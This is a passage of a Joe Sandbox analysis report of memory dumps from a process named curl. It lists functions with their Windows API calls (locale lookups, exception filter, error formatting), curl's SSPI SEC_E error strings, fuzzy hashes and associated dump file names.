Instruction ID: 374b28d4bb5e77d48e2f2c8ebbbbeafa9a405b1dbe9d77555a290584769507ac
Opcode Fuzzy Hash: f15f020cc498ba2661b25687e54d264c4756644103b6f41b4d13da9954a520ff
Instruction Fuzzy Hash: 6BB09231485608ABCB002B91FC0EB58BF29EB09652F008012F60D44061CB72D8118A91

Function 002D6B62 Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,?,000000F0), ref: 002D6BBB

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: ae6e85a4b7b8e7a6ece7969360c9d83124fd1644d9370c2859bc62664ae500b1
Instruction ID: bf368188d4bb68bcc29b24470ae8eaedc328f0761d2949af27337ccb3f1123a7
Opcode Fuzzy Hash: ae6e85a4b7b8e7a6ece7969360c9d83124fd1644d9370c2859bc62664ae500b1
Instruction Fuzzy Hash: 1021AF72570207ABDB249F24DC49FBA77ACEB04714F10417BED41C6241EB75AD64CB60

Function 002D686D Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(002D696D,00000001,000000A0,?,?,002D6E91,00000000,?,?,?,?,?,00000055), ref: 002D68C8

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 331b87f4d014522ccb5bc08223cbc64e2d5e78b568c31756bbbba2177e7f8a81
Instruction ID: 44c0c740b61ba2bc80eaa7ab1b796d86148b0d9e6c6865c4d758d6c4866d1844
Opcode Fuzzy Hash: 331b87f4d014522ccb5bc08223cbc64e2d5e78b568c31756bbbba2177e7f8a81
Instruction Fuzzy Hash: E201D4324703079FE7209FB8D40DB65BBE0EF01711F10492AE459D56D2D7B5A868DA40

Function 002D6D39 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,002D6B2F,00000000,00000000,?), ref: 002D6D63

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 72a18609e806e8d2902042f1445a1f5f4d40fe85bff55ece447499b93d9ae4d9
Instruction ID: fcbb857e0218a253b3d21e2088c98153734cad0f8a01f01a81fff85a3000acd3
Opcode Fuzzy Hash: 72a18609e806e8d2902042f1445a1f5f4d40fe85bff55ece447499b93d9ae4d9
Instruction Fuzzy Hash: B2F0F632B70216BBEB245A70EC09BBD7799EB00364F044127E909A3250EA74BD6089A0

Function 002D68EA Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(002D6B62,00000001,?,?,002D6E5B,002C711E,?,?,00000055,?,?,002C711E,?,?,?), ref: 002D692F

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: d16bfacda555e236f74ba921ca8d721f38cecd0b4e220cbc353b5498974c9e3d
Instruction ID: 74474db8064b55a84b2a2091601aa81ca4fc93c4051443225d86a62dbc6259cc
Opcode Fuzzy Hash: d16bfacda555e236f74ba921ca8d721f38cecd0b4e220cbc353b5498974c9e3d
Instruction Fuzzy Hash: F1F02072970705EEE720AF30EC09FE53B85DB02760F108417F8998A2E2CAB06C608A60

Function 002D682D Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(002D677D,00000001,?,?,002D6EB2,002C711E,?,?,00000055,?,?,002C711E,?,?,?), ref: 002D6859

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 321d9b302f35af330a0a51fcb3c7a19a3f27439ca4b0e0cbe6585b996fbfaa8c
Instruction ID: f8e9787e32b09e3f96d3949f1a9cefb8d35e12a995d5a53fff43537ada9cb2d5
Opcode Fuzzy Hash: 321d9b302f35af330a0a51fcb3c7a19a3f27439ca4b0e0cbe6585b996fbfaa8c
Instruction Fuzzy Hash: 8EE02C72920B09AFE7006F34DC08BB47B94EB02720F000206FD588A2A0C7B0AC208A80

Function 002D7148 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(002D7134,00000001,?,002D60FD,002D619B,00000003,00000000,?,?,00000000,00000000,00000000,00000000,00000000), ref: 002D7176

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: e388c28727fdc0f71a5d5f10372d6b7a2c5367f7cbe3ee35a8ab20c8206077a9
Instruction ID: 90beb917ed806305d0daa27b6c9befe855a318ae795cc2ad33d7b187513a91eb
Opcode Fuzzy Hash: e388c28727fdc0f71a5d5f10372d6b7a2c5367f7cbe3ee35a8ab20c8206077a9
Instruction Fuzzy Hash: FEE0B632155308BFDF12CFA5FC45BAA3BA9AB09710F408502F55C9A270D6B5E9A1DB44

Function 002D7185 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,20001004,?,002C71A6,?,002C71A6,?,20001004,?,00000002,?,00000004,?,00000000), ref: 002D71AC

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: eadd8c111eab5a04f179d328e1a777c3b80c5862f57ec03235eee2e66c51b50e
Instruction ID: 51d8a0043f41b44ca7f2afa01c65dfb1551a05c0b2dec4906224373611f1ab84
Opcode Fuzzy Hash: eadd8c111eab5a04f179d328e1a777c3b80c5862f57ec03235eee2e66c51b50e
Instruction Fuzzy Hash: 22D01732008509FF9F029FE1FC0986A3B6DFB48324B004402F91C45221EA76E8309B21

Function 002CBAB0 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 002CBAB6

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: fd9895274366d0dd62c24ca2589b1f4242b3c45a6b225f46c2f108652172c2ae
Instruction ID: 99f5b068602e1fdcd0b79c30de39fed72b0949bf0e9384fcc16394b1b1d20d47
Opcode Fuzzy Hash: fd9895274366d0dd62c24ca2589b1f4242b3c45a6b225f46c2f108652172c2ae
Instruction Fuzzy Hash: 2AA0113008020CAB8B002B82FC0AA883F2CEA082A0B008022F80C000208B23E8208A80

Function 001D2490 Relevance: 152.5, APIs: 4, Strings: 83, Instructions: 275windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?), ref: 001D24B2
FormatMessageA.KERNEL32(00001200,00000000,00000000,00000000,?,000000FF,00000000), ref: 001D284C
GetLastError.KERNEL32 ref: 001D28D6
SetLastError.KERNEL32(00000000), ref: 001D28E1

Strings

SEC_E_SMARTCARD_CERT_REVOKED, xrefs: 001D2718
SEC_E_KDC_CERT_REVOKED, xrefs: 001D25F6
SEC_E_REVOCATION_OFFLINE_KDC, xrefs: 001D26E6
SEC_E_STRONG_CRYPTO_NOT_SUPPORTED, xrefs: 001D272C
SEC_E_TIME_SKEW, xrefs: 001D2740
SEC_E_BAD_PKGID, xrefs: 001D24F2
SEC_E_CANNOT_PACK, xrefs: 001D2510
SEC_E_MUST_BE_KDC, xrefs: 001D2646
SEC_E_UNSUPPORTED_PREAUTH, xrefs: 001D2772
SEC_E_POLICY_NLTM_ONLY, xrefs: 001D26C8
SEC_E_ALGORITHM_MISMATCH, xrefs: 001D24DE
SEC_E_NO_AUTHENTICATING_AUTHORITY, xrefs: 001D265A
SEC_E_SMARTCARD_CERT_EXPIRED, xrefs: 001D270E
SEC_I_COMPLETE_NEEDED, xrefs: 001D27C1
SEC_E_ISSUING_CA_UNTRUSTED_KDC, xrefs: 001D25E2
SEC_I_LOCAL_LOGON, xrefs: 001D27DD
SEC_E_KDC_CERT_EXPIRED, xrefs: 001D25EC
%s (0x%04X%04X), xrefs: 001D281D
SEC_E_INCOMPLETE_MESSAGE, xrefs: 001D259C
Unknown error, xrefs: 001D27F9, 001D281C
SEC_E_BAD_BINDINGS, xrefs: 001D24E8
SEC_E_WRONG_CREDENTIAL_HANDLE, xrefs: 001D2783
SEC_I_CONTINUE_NEEDED, xrefs: 001D27CF, 001D2807
SEC_E_CERT_UNKNOWN, xrefs: 001D2524
No error, xrefs: 001D2791, 001D279B
SEC_E_KDC_UNABLE_TO_REFER, xrefs: 001D260A
SEC_E_MULTIPLE_ACCOUNTS, xrefs: 001D263C
SEC_I_CONTEXT_EXPIRED, xrefs: 001D27C8
SEC_E_INVALID_TOKEN, xrefs: 001D25CE
SEC_E_KDC_INVALID_REQUEST, xrefs: 001D2600
SEC_E_UNSUPPORTED_FUNCTION, xrefs: 001D2768
SEC_E_DECRYPT_FAILURE, xrefs: 001D2556
SEC_E_KDC_UNKNOWN_ETYPE, xrefs: 001D2614
SEC_E_NO_PA_DATA, xrefs: 001D268C
SEC_E_UNKNOWN_CREDENTIALS, xrefs: 001D275E
SEC_E_DELEGATION_REQUIRED, xrefs: 001D256A
SEC_E_BUFFER_TOO_SMALL, xrefs: 001D24FC
SEC_E_MESSAGE_ALTERED, xrefs: 001D2632
SEC_E_NO_S4U_PROT_SUPPORT, xrefs: 001D2696
SEC_E_QOP_NOT_SUPPORTED, xrefs: 001D26D2
SEC_E_UNTRUSTED_ROOT, xrefs: 001D277C
SEC_I_RENEGOTIATE, xrefs: 001D27EB
SEC_E_ISSUING_CA_UNTRUSTED, xrefs: 001D25D8
SEC_E_DELEGATION_POLICY, xrefs: 001D2560
SEC_E_INVALID_HANDLE, xrefs: 001D25BA
SEC_E_NO_KERB_KEY, xrefs: 001D2682
SEC_E_TOO_MANY_PRINCIPALS, xrefs: 001D274A
SEC_E_UNFINISHED_CONTEXT_DELETED, xrefs: 001D2754
SEC_E_REVOCATION_OFFLINE_C, xrefs: 001D26DC
SEC_E_SMARTCARD_LOGON_REQUIRED, xrefs: 001D2722
SEC_E_INCOMPLETE_CREDENTIALS, xrefs: 001D2592
SEC_E_NO_IMPERSONATION, xrefs: 001D266E
SEC_E_NO_CREDENTIALS, xrefs: 001D2664
SEC_E_NOT_OWNER, xrefs: 001D2650
SEC_E_LOGON_DENIED, xrefs: 001D261E
SEC_E_NO_TGT_REPLY, xrefs: 001D26A0
SEC_E_CONTEXT_EXPIRED, xrefs: 001D2538
SEC_E_MAX_REFERRALS_EXCEEDED, xrefs: 001D2628
SEC_E_CERT_EXPIRED, xrefs: 001D251A
SEC_E_CRYPTO_SYSTEM_INVALID, xrefs: 001D254C
SEC_E_PKINIT_CLIENT_FAILURE, xrefs: 001D26B4
SEC_E_SECPKG_NOT_FOUND, xrefs: 001D26F0
SEC_I_NO_LSA_CONTEXT, xrefs: 001D27E4
SEC_E_ILLEGAL_MESSAGE, xrefs: 001D2588
SEC_E_TARGET_UNKNOWN, xrefs: 001D2736
SEC_E_SECURITY_QOS_FAILED, xrefs: 001D26FA
SEC_E_DOWNGRADE_DETECTED, xrefs: 001D2574
SEC_E_CROSSREALM_DELEGATION_FAILURE, xrefs: 001D2542
SEC_E_CERT_WRONG_USAGE, xrefs: 001D252E
SEC_I_SIGNATURE_NEEDED, xrefs: 001D27F2
SEC_E_CANNOT_INSTALL, xrefs: 001D2506
%s - %s, xrefs: 001D28AE
SEC_E_WRONG_PRINCIPAL, xrefs: 001D278A
SEC_E_PKINIT_NAME_MISMATCH, xrefs: 001D26BE
SEC_E_INTERNAL_ERROR, xrefs: 001D25B0
SEC_I_COMPLETE_AND_CONTINUE, xrefs: 001D27BA
SEC_I_INCOMPLETE_CREDENTIALS, xrefs: 001D27D6
SEC_E_SHUTDOWN_IN_PROGRESS, xrefs: 001D2704
SEC_E_OUT_OF_SEQUENCE, xrefs: 001D26AA
SEC_E_INVALID_PARAMETER, xrefs: 001D25C4
SEC_E_ENCRYPT_FAILURE, xrefs: 001D257E
SEC_E_INSUFFICIENT_MEMORY, xrefs: 001D25A6
SEC_E_NO_IP_ADDRESSES, xrefs: 001D2678

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLast$FormatMessage
